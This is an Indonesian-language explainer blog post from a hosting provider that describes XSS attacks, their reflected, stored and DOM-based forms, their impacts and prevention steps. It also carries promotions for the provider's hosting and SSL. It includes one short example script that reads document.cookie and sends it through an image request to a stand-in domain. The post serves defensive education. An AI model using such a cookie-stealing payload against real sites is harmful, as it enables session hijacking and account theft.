• Home
  • Berita
  • Mengenal XSS Attack: Ancaman Keamanan yang Perlu Diwaspadai

Mengenal XSS Attack: Ancaman Keamanan yang Perlu Diwaspadai

Oleh Ratna Patria
No ratings yet.

Dalam dunia digital yang semakin kompleks, menjaga keamanan informasi dan data menjadi tugas yang semakin krusial. Salah satu ancaman yang harus diwaspadai adalah serangan XSS (Cross-Site Scripting). Tidak hanya mengancam integritas situs web dan aplikasi, serangan ini juga dapat membahayakan data pribadi pengguna dan bahkan mencuri informasi sensitif. 

Artikel ini akan membawamu memahami lebih dalam tentang apa itu serangan XSS, bagaimana cara kerjanya, dan mengapa kamu perlu menjaga diri dari ancaman ini. Dengan pengetahuan yang diperoleh, kamu akan dapat melindungi diri dan sumber daya digitalmu dari ancaman yang tak terlihat ini.

xss
Sumber: Envato

Pengenalan Tentang XSS Attack

Bayangkan jika situs web adalah pintu masuk menuju dunia maya yang luas. Tapi, ada pembuat masalah yang menyelinap melalui celah-celah pintu ini dengan tujuan nakal. Nah, inilah yang disebut dengan XSS Attack atau Cross-Site Scripting.

XSS adalah

XSS adalah trik jahil dalam dunia digital dimana penyerang menyisipkan kode jahat ke dalam situs web. Namun, pesan ini bukanlah sekedar teks, tetapi kode yang dapat merusak atau mencuri data. 

Misalnya, kamu mengunjungi situs web favoritmu, dan tiba-tiba muncul pesan aneh atau perintah yang seharusnya tidak ada. Itu bisa jadi karena seseorang telah menanamkan kode jahat melalui celah di situs tersebut. Dalam dunia nyata, ini seperti ada seseorang yang merusak dinding rumahmu dan menulis pesan di dalamnya tanpa sepengetahuanmu.

XSS Attack dapat berdampak serius, dari mencuri informasi pribadi hingga mengarahkanmu ke situs palsu. Jadi, dengan memahami konsep ini, kamu akan lebih siap untuk melindungi diri dari ancaman digital yang cerdik ini.

Baca juga: Cracking adalah Aktivitas yang Berbeda dari Hacking

Jenis XSS Attack

Terdapat tiga jenis serangan XSS yang perlu kamu ketahui: Reflected, Stored, dan DOM-based. Mari kita bahas masing-masing dengan lebih mendalam:

1. Reflected XSS

Serangan ini terjadi ketika skrip berbahaya disisipkan ke dalam tautan atau input pada situs web. Ketika pengguna mengklik tautan atau mengirimkan input, skrip ini akan “dipantulkan” atau dieksekusi oleh server, dan hasilnya dapat mempengaruhi pengalaman pengguna tersebut. Misalnya, seorang penyerang dapat mengirimkan tautan palsu yang mengandung skrip jahat kepada korban, dan saat korban mengkliknya, skrip tersebut akan dijalankan pada browser korban.

2. Stored XSS

Serangan ini lebih berbahaya karena skrip berbahaya disimpan secara permanen di server atau basis data situs web. Ketika pengguna mengunjungi halaman yang terinfeksi, skrip ini akan dieksekusi pada browser pengguna tanpa sepengetahuan mereka. Contohnya, jika ada kolom komentar pada suatu situs yang tidak terlindungi, seorang penyerang dapat menyisipkan skrip jahat di kolom tersebut. Ketika pengguna lain membaca komentar tersebut, skrip tersebut akan dieksekusi di browser mereka.

3. DOM-based XSS

Jenis XSS ini berbeda karena skrip berbahaya dieksekusi di sisi klien (browser) dan tidak berinteraksi dengan server. Serangan ini memanipulasi model objek dokumen (DOM) pada halaman web, mengubah konten yang ditampilkan kepada pengguna. Sebagai contoh, penyerang dapat memanipulasi URL untuk mengubah elemen di halaman web, sehingga pengguna melihat informasi palsu atau bahkan mengirimkan data sensitif.

Beli Cloud Hosting

Cara Kerja XSS Attack

XSS adalah serangan yang dimanfaatkan oleh penyerang untuk menyisipkan skrip berbahaya ke dalam halaman web yang kemudian akan dieksekusi oleh browser pengguna yang mengakses halaman tersebut. Cara kerjanya mirip dengan menyembunyikan “perangkap” di dalam konten halaman yang tampaknya aman. Ketika pengguna mengakses halaman tersebut, skrip berbahaya dijalankan oleh browser mereka, yang dapat mengakibatkan tindakan yang tidak diinginkan seperti mencuri informasi pribadi atau mengalihkan mereka ke situs web palsu. 

Para penyerang biasanya memanfaatkan celah dalam input pengguna atau tautan yang tidak terlindungi di situs web, dan menggunakan skrip ini untuk mencuri informasi atau menyebabkan kerusakan lainnya. Penting untuk mengimplementasikan praktik keamanan yang baik dan melindungi situs web dari serangan dengan mengamankan input pengguna dan memvalidasi data yang masuk.

Berikut contoh skrip: 

<script> 

var cookies = document.cookie; 

var img = new Image(); img.src = 'https://contoh.com' + encodeURIComponent(cookies); document.body.appendChild(img); </script>

Dalam contoh ini, skrip mencoba mencuri data cookie pengguna dan mengirimkannya ke domain yang dikendalikan oleh penyerang. Skrip ini menyusun data cookie dalam URL yang disampaikan melalui gambar baru yang dibuat secara dinamis (<img>). Saat gambar tersebut dimuat, data cookie akan dikirim ke server penyerang melalui URL.

xss
Sumber: Envato

Dampak Buruk Serangan

Serangan XSS memiliki dampak yang merugikan dan dapat mengancam keamanan situs web dan penggunanya. Ini adalah ancaman serius dalam dunia keamanan siber yang dapat mengakibatkan kerugian yang signifikan. Berikut adalah beberapa dampak buruk dari serangan ini:

1. Pencurian Informasi Pengguna

Serangan dapat memungkinkan penyerang mencuri informasi pribadi dan rahasia pengguna, seperti cookies, token otentikasi, atau data yang dimasukkan dalam formulir. Informasi ini dapat digunakan untuk akses ilegal ke akun pengguna atau untuk pencurian identitas.

2. Penyebaran Malware

Penyerang dapat menyuntikkan skrip berbahaya melalui serangan XSS untuk memanipulasi situs web sehingga mengunduh dan menjalankan malware ke perangkat pengguna yang mengakses situs tersebut. Hal ini dapat menyebabkan infeksi perangkat dan pencurian lebih lanjut.

3. Manipulasi Konten

Penyerang dapat mengubah atau menghapus konten dari situs web, mengirimkan pesan palsu, atau membuat perubahan lain yang dapat merusak reputasi situs dan merugikan pengguna yang mengandalkan informasi dari situs tersebut.

4. Phising dan Serangan Lainnya

Dengan memanfaatkan serangan XSS, penyerang dapat menciptakan halaman palsu yang tampak seperti situs resmi. Pengguna yang mengakses halaman palsu ini mungkin diminta memasukkan informasi sensitif, seperti kata sandi atau nomor kartu kredit, yang kemudian akan dicuri oleh penyerang.

Baca juga: Crypto Coin Miner: Modus Baru Hacker Setelah Ransomware

Faktor-Faktor yang Membuat Aplikasi Rentan Terhadap XSS

Website dapat menjadi rentan terhadap serangan XSS karena beberapa faktor yang dapat dieksploitasi oleh penyerang. Berikut adalah beberapa faktor utama yang membuat sebuah website rentan terhadap serangan:

1. Input Tidak Divalidasi

Jika website tidak memvalidasi input yang diterima dari pengguna dengan benar sebelum memasukkannya ke dalam halaman web, penyerang dapat menyisipkan kode skrip berbahaya. Ini terutama terjadi pada formulir, kotak pencarian, komentar, atau bidang lain yang menerima masukan dari pengguna.

2. Tidak Ada Perlindungan Terhadap Output

Website yang tidak melindungi output yang dihasilkan, seperti pesan kesalahan atau hasil pencarian, juga berpotensi menjadi sasaran serangan. Jika input yang tidak valid atau berbahaya disisipkan dalam output, skrip yang tidak aman dapat dieksekusi di peramban pengguna.

3. Tidak Memadai untuk Menghindari Eksekusi Skrip

Website yang tidak menerapkan mekanisme penghindaran eksekusi skrip, seperti escaping atau encoding, pada data yang diambil dari sumber eksternal (misalnya, basis data atau URL), dapat memungkinkan penyerang untuk menyisipkan dan menjalankan skrip berbahaya.

4. Tidak Menggunakan HTTPS

Koneksi yang tidak aman (HTTP) dapat memungkinkan penyerang untuk melakukan serangan Man-in-the-Middle (MiTM), yang memungkinkan mereka menyisipkan skrip berbahaya ke dalam komunikasi antara pengguna dan server.

xss
Sumber: Envato

5. Tidak Ada Konfigurasi Keamanan yang Memadai

Ketika konfigurasi keamanan server atau perangkat lunak tidak disetel dengan baik, serangan dapat lebih mudah terjadi. Fitur-fitur yang tidak perlu, seperti eksekusi skrip di sisi klien (JavaScript), harus dinonaktifkan jika tidak diperlukan.

6. Cross-Origin Resource Sharing (CORS) yang Buruk

Jika konfigurasi CORS tidak tepat, penyerang dapat mencoba menyusupkan skrip berbahaya melalui permintaan lintas domain yang tidak sah.

Langkah-Langkah Mencegah dan Menghindari Serangan

Mencegah dan menghindari serangan adalah langkah penting untuk menjaga keamanan website. Berikut adalah beberapa langkah yang bisa kamu ambil

  1. Validasi Input: Selalu validasi input yang diterima dari pengguna sebelum memprosesnya. Pastikan hanya menerima data yang sesuai dengan format yang diharapkan, seperti angka, huruf, atau karakter tertentu. 
  2. Escape Data: Sebelum menyisipkan data ke dalam halaman web, pastikan data tersebut di-escape atau di-encoded dengan benar. Ini akan mencegah browser dari menjalankan skrip yang tidak diinginkan. 
  3. Gunakan Parameterisasi: Saat membangun URL atau kueri basis data, gunakan parameterisasi. Ini membantu mencegah penyisipan skrip melalui URL atau kueri SQL. 
  4. Penerapan Content Security Policy (CSP): CSP adalah langkah keamanan yang bisa diambil dengan mendefinisikan sumber-sumber yang dapat diakses oleh halaman web. Ini membantu mencegah penyisipan skrip yang tidak sah. 
  5. Input Sanitization: Saring dan bersihkan input dari karakter yang mencurigakan atau berbahaya sebelum diproses lebih lanjut. 
  6. Gunakan XSS Filter: Beberapa peramban modern memiliki filter XSS bawaan yang dapat membantu mengenali dan mencegah serangan XSS. 
  7. Update Reguler: Pastikan framework, pustaka, dan perangkat lunak yang kamu gunakan selalu diperbarui. Kerentanan yang ditemukan dalam versi lama bisa digunakan oleh penyerang. 
  8. Gunakan HTTPS: Gunakan koneksi HTTPS yang aman untuk mengenkripsi data yang dikirim antara pengguna dan server. Kamu juga bisa gunakan SSL untuk keamanan ini. Dapatkan SSL murah hanya di DomaiNesia!
  9. Pendidikan Keamanan: Berikan pelatihan tentang risiko XSS kepada tim pengembang dan administrator sistem. Pengetahuan tentang praktik keamanan web yang baik sangat penting. 
  10. Pemantauan Keamanan: Pantau dan lakukan pengujian keamanan secara teratur untuk mendeteksi potensi kerentanan atau serangan. Jika serangan terdeteksi, segera ambil langkah-langkah untuk mengatasinya. 
  11. Sesuaikan Konfigurasi CORS: Pastikan konfigurasi CORS telah diatur dengan benar untuk mencegah permintaan lintas domain yang tidak sah. 
  12. Validasi Data yang Dikirim ke Server: Pastikan data yang dikirim ke server juga di-validasi dan di-escape untuk mencegah serangan XSS yang mungkin muncul dari sumber yang tidak terduga. 

Dengan mengambil langkah-langkah ini, kamu dapat mengurangi risiko serangan XSS dan menjaga keamanan website atau aplikasi web kamu.

xss
Sumber: Envato

Pastikan Kamu Lebih Waspada Terhadap Serangan XSS

Kesadaran akan risiko serangan sangatlah penting. Dengan pemahaman yang mendalam tentang apa itu XSS attack, jenis-jenisnya, serta dampak buruk yang bisa ditimbulkan, kita dapat melangkah lebih waspada dalam membangun dan mengamankan website serta aplikasi web.

Dengan mengadopsi praktik keamanan yang tepat, seperti validasi input, penggunaan enkripsi, dan pemantauan keamanan secara teratur, kita bisa menjaga integritas data dan memberikan pengalaman online yang lebih aman bagi pengguna kita. Mari bersama-sama menjaga ekosistem digital agar tetap terlindungi dan terhindar dari ancaman XSS attack.

Ratna Patria

Hi! Ratna is my name. I have been actively writing about light and fun things since college. I am an introverted, inquiring person, who loves reading. How about you?


Berlangganan Artikel

Dapatkan artikel, free ebook dan video
terbaru dari DomaiNesia

{{ errors.name }} {{ errors.email }}
Migrasi ke DomaiNesia

Pindah Ke DomaiNesia

Tertarik mendapatkan semua fitur layanan DomaiNesia? Dapatkan Diskon Migrasi 40% serta GRATIS biaya migrasi & setup

Ya, Migrasikan layanan Saya!

Hosting Murah

This will close in 0 seconds